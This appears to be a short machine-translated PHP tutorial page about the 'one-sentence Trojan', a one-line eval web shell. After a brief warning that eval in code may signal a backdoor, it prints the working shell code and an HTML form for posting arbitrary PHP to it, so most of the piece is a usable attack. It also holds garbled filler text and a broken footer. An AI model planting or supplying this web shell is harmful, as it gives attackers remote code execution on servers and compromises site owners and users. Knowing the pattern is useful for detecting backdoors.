Home >Backend Development >PHP Tutorial >One sentence Trojan code for php eval function, one sentence for phpeval function_PHP tutorial

One sentence Trojan code for php eval function, one sentence for phpeval function_PHP tutorial

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOriginal
2016-07-13 09:53:131778browse

php eval function in one sentence Trojan code, phpeval function in one sentence

eval can be used to execute any other php code, so be careful if the eval function is found in the code, it may It’s a Trojan

Just this sentence can kill people, anyone can post any file, so be careful

<&#63;php @eval($_POST['c']);&#63;>

The method of use is also very simple. Point the local submission file to the submission file, and the php code inside will be executed

<html> 
<body> 
<form action="a.php" method="post"> 
<input type="text" name="c" value="phpinfo();"> 
<input type="submit" value="submit"> 
</form> 
</body> 
</html>

The above is the entire content of this article, I hope you all like it.

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/1004000.htmlTechArticlephp eval function one sentence Trojan code, phpeval function one sentence eval can be used to execute any other php code, so for Be careful if the eval function is found in the code, it may be a Trojan...
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn